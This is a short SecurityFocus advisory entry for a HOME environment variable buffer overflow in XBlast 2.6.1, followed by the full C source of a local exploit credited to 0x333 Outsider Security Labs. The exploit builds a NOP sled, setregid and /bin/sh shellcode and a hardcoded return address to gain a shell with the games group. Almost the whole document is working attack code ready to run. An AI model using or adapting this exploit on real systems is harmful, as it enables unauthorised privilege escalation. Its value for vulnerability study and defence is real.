// source: https://www.securityfocus.com/bid/8296/info
XBlast is contains a locally exploitable buffer overflow vulnerability due to insufficient bounds checking of data supplied via the HOME environment variable. Successful exploitation would allow a local user to execute code with a gid of games.
/* 0x333xblast => xblast 2.6.1 local exploit
*
* xblast could be overflowed by passing a long $HOME
* env. For more info read advisory @ :
*
* http://www.0x333.org/advisories/outsider-003.txt
*
* * note * :
* exploit tested against xblast-2.6.beta-1.i386.rpm
* under Red Hat Linux 9.0. xblaste is not install
* by default +s.
*
* coded by c0wboy
*
* (c) 0x333 Outsider Security Labs / www.0x333.org
*
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BIN "/usr/X11R6/bin/xblast"
#define SIZE 1032
#define RET 0xbffffb38
#define NOP 0x90
unsigned char shellcode[] =
/* setregid (20,20) shellcode */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80"
/* exec /bin/sh shellcode */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
void banner (void);
void memret (char *, int, int, int);
void banner (void)
{
fprintf (stdout, "\n\n --- xblast local exploit by c0wboy ---\n");
fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org ---\n\n");
fprintf (stdout, " [NOW PRESS 'y' TO SPAWN THE SHELL]\n\n");
}
void memret (char *buffer, int ret, int size, int align)
{
int i;
int * ptr = (int *) (buffer + align);
for (i=0; i<size; i+=4)
*ptr++ = ret;
ptr = 0x0;
}
int main ()
{
int ret = RET;
char out[SIZE];
memret ((char *)out, ret, SIZE-1, 0);
memset ((char *)out, NOP, 333);
memcpy ((char *)out+333, shellcode, strlen(shellcode));
setenv ("HOME", out, 1);
banner ();
execl (BIN, BIN, 0x0);
}